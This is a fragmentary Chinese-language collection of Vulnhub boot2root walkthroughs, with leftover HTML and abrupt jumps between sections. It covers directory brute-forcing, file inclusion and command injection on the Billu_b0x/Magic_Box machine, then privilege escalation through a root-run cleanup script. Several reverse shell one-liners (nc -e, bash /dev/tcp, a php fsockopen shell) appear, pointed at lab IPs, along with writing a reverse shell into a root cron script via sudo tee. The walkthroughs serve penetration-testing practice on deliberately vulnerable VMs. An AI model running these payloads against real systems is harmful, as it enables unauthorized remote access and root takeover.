Vulnhub靶场题解

Vulnhub简介

Vulnhub是一个提供各种漏洞环境的靶场平台，供安全爱好者学习渗透使用，大部分环境是做好的虚拟机镜像文件，镜像预先设计了多种漏洞，需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标，大多是Boot2root，从启动虚机到获取操作系统的root权限和查看flag。网址：https://www.vulnhub.com

向tidyup.sh中写入反弹shell命令</p><p>tidyup.sh文件只有root可写，而能够以root权限运行tee命令，那么用tee命令写tidyup.sh：先将反弹shell命令写入shell.txt文件，使用bash反弹shell命令没有成功，于是使用nc命令反弹shell成功，所以写nc反弹命令：</p><p><code>echo "nc -e /bin/bash 192.168.110.220 5555" > shell.txt</code></p><p>再使用tee命令将shell.txt内容输出到tidyup.sh</p><p><code>cat shell.txt | sudo /usr/bin/tee

Tomcat后台get shell姿势要熟练。</p><p>(4) 提权：找到两个账号的密码，发现可以root权限执行的tee命令和tidyup.sh清理脚本，通过计划任务反弹root shell。</p><h3><a name='header-n7413' class='md-header-anchor '></a>难点和踩到的坑</h3><p>(1) 使用keytool导出SSL证书：这是非常规渗透知识，需要查阅原理和工具使用，耗费时间较多。</p><p>(2) Tomcat后台get shell后，已上传的菜刀马总是被杀，每次传上去过不了几分钟没了，当时以为该系统安装了杀毒软件或web shell清理工具，实际是因为主机tidyup.sh清理脚本，每3分钟清理一次。反弹出一个shell就可以持续使用shell了。</p><p>(3) 连接mysql执行命令，没有回显。菜刀执行命令超时，nc中只有exit退出时才回显，当时打算放弃了，才exit退出，结果退出才有回显，发现了milton账号的密码哈希。山重水复疑无路，柳暗花明又一村。</p><p>(4) 花费较多时间进行两次账号切换，再反弹root shell提权。发现和利用tidyup.sh需要较多时间。</p><p>(5) 通过crontab的计划任务，反弹root shell的方式,在真实渗透测试中是常见的，比如redis的root空口令挖矿，可以ssh证书连接，也可以写root crontab反弹，但是在Vulnhub中第一次遇到，对初学者有难度。</p><h1><a name='header-n7424' class='md-header-anchor '></a>第二节 Billu_b0x</h1><h2><a name='header-n7425'

'></a>漏洞挖掘的详细思路</h2><ul><li>web挖掘思路：</li></ul><p>(1) 查看每个网页的源码，看是否有提示；</p><p>(2) 暴破目录，用御剑或DirBuster，看是否有新网页，找新网页的漏洞；</p><ul><li>Apache挖掘思路：</li></ul><p>(1) 寻找Apache2.4.10有无已知漏洞可利用：没有发现可直接利用的漏洞。</p><p>(2) 到<a href='http://www.exploit-db.com' target='_blank' class='url'>www.exploit-db.com</a>查询有无exp：没有找到exp。</p><p>(3) Nessus扫描一下主机漏洞：没有扫描出漏洞。</p><ul><li>实在找不到漏洞：单用户模式进入Ubuntu，看源码吧。</li></ul><ul><li>步骤1：首先看主页源码，发现提示：0x643239334c6d70775a773d3d</li></ul><p><img src='https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/vulnhub/_image/4.png' alt='' referrerPolicy='no-referrer' /></p><p>0x是16进制编码，将值643239334c6d70775a773d3d进行ASCII hex转码，变成：d293LmpwZw==</p><p>发现是base64编码，再进行解码，得到图片信息 wow.jpg</p><p><img src='https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/vulnhub/_image/5.png' alt='' referrerPolicy='no-referrer' /></p><p>这时可以根据经验在首页直接加目录打：/image/wow.jpg 或者 /images/wow.jpg 或者 /icon/wow.jpg 网站的图片目录通常是这样命名。也可以利用dirbuster进行目录爆破，得到图片目录images。</p><ul><li>访问 <code>http://192.168.64.153:33447/images/wow.jpg</code> 得到图片：</li></ul><p><img src='https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/vulnhub/_image/6.png' alt='' referrerPolicy='no-referrer' /></p><ul><li>将图片保存到本地，用Notepad++打开，发现最下边有提示</li></ul><p><img src='https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/vulnhub/_image/7.png' alt='' referrerPolicy='no-referrer' /></p><p>将3761656530663664353838656439393035656533376631366137633631306434进行ASCII hex转码，得到 7aee0f6d588ed9905ee37f16a7c610d4，这是一串md5。</p><p><img src='https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/vulnhub/_image/8.png' alt='' referrerPolicy='no-referrer' /></p><p>去cmd5解密，得到63425，推测是一个密码或者ID。</p><p><img src='https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/vulnhub/_image/9.png' alt='' referrerPolicy='no-referrer' /></p><ul><li>步骤2：使用Dirbuster进行目录暴破：</li></ul><p><img src='https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/vulnhub/_image/10.png' alt='' referrerPolicy='no-referrer' /></p><p>查看暴破结果：发现challenge目录，该目录下有cake.php、include.php、hacked.php，用Burpsuit挂上代理，使用Firefox然后依次访问3个文件：</p><p><img src='https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/vulnhub/_image/11.png' alt='' referrerPolicy='no-referrer' /></p><ul><li>步骤3：访问cake.php，发现需要登录后才能访问：</li></ul><p><img src='https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/vulnhub/_image/12.png' alt='' referrerPolicy='no-referrer' /></p><p>该页面如果看页面title或者看burpsuit的Response返回值的<title>/Magic_Box</title>，会发现有/Magic_Box目录存在，先看其他页面。</p><p>点击login会跳转到index.php登录页面，需要email和密码才能登录：</p><p><img src='https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/vulnhub/_image/13.png' alt='' referrerPolicy='no-referrer' /></p><ul><li>步骤4：访问include.php，这是一个文件包含漏洞页面：</li></ul><p><img src='https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/vulnhub/_image/14.png' alt='' referrerPolicy='no-referrer' /></p><p>在输入框中输入 /etc/passwd 测试存在文件包含，Burpsuit显示response包如下：</p><p><img src='https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/vulnhub/_image/15.png' alt='' referrerPolicy='no-referrer' /></p><p>想文件包含拿shell，但没有文件上传点，之前发现的wow.jpg中无木马可包含。先继续看hacked.php。</p><ul><li>步骤5：访问cake.php，需要输入ID，测试下之前从wow.jpg解密出来的数字：63425</li></ul><p><img src='https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/vulnhub/_image/16.png' alt='' referrerPolicy='no-referrer' /></p><p>然后，什么也没有发生，看来ID不对，或者需要先通过index页面输入email和密码登录。</p><ul><li>步骤6：找注入，把发现的几个页面都送入AWVS扫描了漏洞，未发现注入。</li></ul><p><img src='https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/vulnhub/_image/17.png' alt='' referrerPolicy='no-referrer' /></p><ul><li>步骤7：继续暴破发现的Magic_Box目录：发现low.php,command.php</li></ul><p><img src='https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/vulnhub/_image/18.png' alt='' referrerPolicy='no-referrer' /></p><ul><li>步骤8：访问low.php是个空页面，访问command.php，发现命令执行界面：</li></ul><p><img src='https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/vulnhub/_image/19.png' alt='' referrerPolicy='no-referrer' /></p><p>可执行系统命令，输入192.168.64.1;id 查看burpsuit的response发现id命令执行成功。</p><p><img

'></a>获取shell</h2><ul><li>步骤9：利用php反弹shell。Windows开启nc，监听4444端口：</li></ul><p><img src='https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/vulnhub/_image/21.png' alt='' referrerPolicy='no-referrer' /></p><p>为避免转义和中断，在get、post请求中输入payload需要进行url编码。尝试bash反弹shell、nc反弹shell，如下payload都失败：</p><p><code>bash -i >& /dev/tcp/192.168.64.1/4444 0>&1</code></p><p><code>nc -e /bin/bash  -d 192.168.64.1 4444</code></p><p>通过php反弹shell成功，将如下payload进行URL编码后，在burp中发送：</p><p><code>php -r '$sock=fsockopen("192.168.64.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'</code></p><p><img

需要一个终端。没有想出办法，最终google了一下，找到答案：用python调用本地的shell，命令：</p><p><code>echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py</code></p><p><code>python /tmp/asdf.py</code></p><p><img

在文章的开头用到了<code>kali linux</code>下的一个工具<code>netdiscover</code>基于ARP的网络扫描工具。记得在一个师傅的面试经验介绍中，他被面试官问到为什么要用arp去探测内网主机，他回答的是相当隐蔽，探测的信息更准确。主要是因为传统探测远程主机是否存活的方法是通过ICMP协议中的回显应答报文来探测(ping)。很多主机为了避免被扫描器探测，通过防火墙将ICMP包屏蔽，从而达到在网络中隐藏的目的。

    在文章中用到了两种语言的交互shell。分别是php和python，这里参考老外的博客<a href='http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet'>Reverse Shell Cheat Sheet</a>

    对于我个人在提权实战经验方面是十分少的，在这次练习中学到了可以利用<code>touch exploit</code>创建一个随机文件，并用<code>zip</code>命令进行压缩，由此可见还是自己的实战经验太少了。

    最后感概下，英文的重要性。国外很多大牛的博客都是很丰富的，而对于一个英语四级425飘过的菜鸡，我也是很无奈的。只能靠百度翻译了。</li></ul><p> </p><h1><a name='header-n10180' class='md-header-anchor '></a>第十五节 Kioptrix 3</h1><hr /><p>title: Vulnhub渗透测试练习-Kioptrix 3
